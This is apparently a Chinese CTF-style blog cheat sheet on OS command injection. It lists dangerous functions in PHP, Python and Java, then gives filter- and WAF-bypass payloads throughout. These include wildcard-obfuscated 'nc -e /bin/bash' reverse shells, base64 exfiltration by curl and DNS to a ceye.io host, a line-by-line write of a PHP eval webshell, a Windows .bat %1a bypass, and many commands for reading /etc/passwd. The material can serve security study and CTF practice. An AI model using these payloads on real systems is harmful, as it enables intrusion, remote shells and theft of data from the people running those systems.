命令执行的一些总结与tips

之前有做过一些笔记,加上需要做了一些题,综合网上的一些姿势总结一下:

命令执行的函数:

**php**: system()、shell_exec()、exec()、passthru()、popen()、proc_open()、pcntl_exec(),dl()
**python**: eval()、os.system()、os.Popen()、subprocess.Popen()、subprocess.call(xx,shell=True)、commands.getstatus/output()
**java**: 存在Runtime类,在该类中提供了exec方法用以在单独的进程中执行特定的字符串命令
**other**: ImageMagick组件等漏洞、bash漏洞、struts2系列、tp命令执行等

绕过技巧:

1、命令分隔符:

1
2
3
4
5
6
%0a、%0d    换行符与回车符(php环境)
| 第一条命令结果作为第二条命令的输入(eg.:ls|>./a.txt)
|| 第一条执行失败,执行第二条命令(eg.:xx||ls)
; 连续指令功能。
& 连接的两条命令都会执行
&& 当第一条执行成功猜执行后续命令

2、绕过空格:

1
2
3
4
5
6
<           重定向(eg.: cat<flag.php)
<> 重定向 (eg.: ls<>a.txt)
$IFS$9 (Ubuntu下测试通过)后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php
${IFS} (Ubuntu下测试通过)单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
%09 php环境下可替代空格。php7.1 测试失败。
$IFS ubuntu测试通过

3、命令结束符号:

1
2
%00  --  需要php环境
%20# -- 需要php环境

4、黑名单绕过
1)通配符利用:

1
2
???/??t /???/p??s??                   ==>       /bin/cat /etc/passwd
/???/n? -e /???/b??h 2130706433 1337 ==> nc -e /bin/bash 127.0.0.1 1337

2)夹杂字符:
1、单引号or双引号: cat /etc/passwd ==> cat /e''t''c/p''a'ss''w''d' OR ca''t x"".php
2、空字符: Cat /etc/passwd ==> cat$u /etc$u/passwd$u
或者ca$1t /et$1c/passwd$u:($后仅能为数字)3、反斜杠\: l\s`

3)字符串拼接:

1
2
a=c;b=at;c=flag;$a$b $c
a=c;b=at;c=heb;d=ic;ab{c}{d}

4)从文件中获取拼接:

1
expr substr $(awk NR==1 test.php) 1 1(e.g:如下图)

os-1

5)编码:

1
2
3
4
5
对php而言,可进行进制/字符转换:编码为8进制or 16进制,或者其他方式编码(Unicode)等
采用base64编码也可以绕过waf关键字(一般可被检测)eg.
echo "d2hvYW1p"|base64 -d
curl http://xxxx.ceye.io/$(id|base64)
for l in `ls /root|base64 -w 100`; do curl http://127.0.0.1:9090/abr/$l; done;

6)反引号

1
aaa`whoami`;`ls`

7)ip中.绕过:
将地址替换为数字地址:如127.0.0.1可以转化为2130706433(10进制or16进制0x7F000001)。
在线地址:http://www.msxindl.com/tools/ip/ip_num.asp

8)无回显:
vps监听端口,发curl请求(or:ceye.io)
若curl、wget等命令被禁用,可通过ping vps ip 然后使用netstat -s -p icmp查看变化
os-2

9)windows下使用bat方式运行:

1
2
3
4
5
6
7
8
9
10
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>

执行.bat文件的时候,利用%1a,可以绕过过滤执行命令.
dir=../ %1a whoami

2、

1
2
3
for /F %x in ('dir /b D:\') do ping -n 1 xxx.%x.xxx.ceye.io

or. do start

10)get_defined_functions(php环境):
通过调用系统函数php -r ‘print_r(get_defined_functions()[internal]);’
后面添加[id](相应的命令)

11)长度限制的突破:

1
2
3
4
echo '<?php' >1
echo '@eval(' >>1
echo '$_POST[1]' >>1
echo '); ?>' >>1

或者参考文章: http://whc.dropsec.xyz/2017/05/08/%E7%BB%95%E8%BF%877%E4%B8%AA%E5%AD%97%E7%AC%A6getshell/:

12)巧用字符数组(php的webshell篇,本文不作过多描述,参考链接:http://www.cnblogs.com/Littlehann/p/3522990.html)

其他:

1、一个读文件内容的集合:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
file -f xxx --将显示在 FILE 列表中指定的每个文件的类型,间接可得到文件内容。
zip -T --unzip-command "sh -c id" aa.zip aa.txt
cat--由第一行开始显示内容,并将所有内容输出
tac--从最后一行倒序显示内容,并将所有内容输出
more-- 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head-- 只显示头几行
tail --只显示最后几行
nl --类似于cat -n,显示时输出行号
tailf-- 类似于tail -f
vim --使用vim工具打开文本
vi --使用vi打开文本cat 由第一行开始显示内容,并将所有内容输出
strings ---打印文件中的可打印字符串(strings /etc/passwd)
curl file:///etc/passwd
sort -- 从最后一行开始读取文件
find -- 列出当前目录下的文件以及子目录所有文件
&{grep,-nrw,.} -- 递归读取当前目录下的文件以及子目录所有文件
grep -r .. -- 列出当前目录下的所有文件以及内容
{cat,/etc/passwd}
curl file:///etc/passwd
strings /etc/passwd
uniq -c/etc/passwd
bash -v /etc/passwd
rev /etc/passwd

2、写文件名了

1
tee 只输出到标准输出

2、一个开源os命令注入payload生成器FUzzing: https://github.com/ewilded/shelling

3、参考链接:
https://www.jianshu.com/p/5e505e3d8075
https://www.anquanke.com/post/id/84920

-------------本文结束感谢您的阅读-------------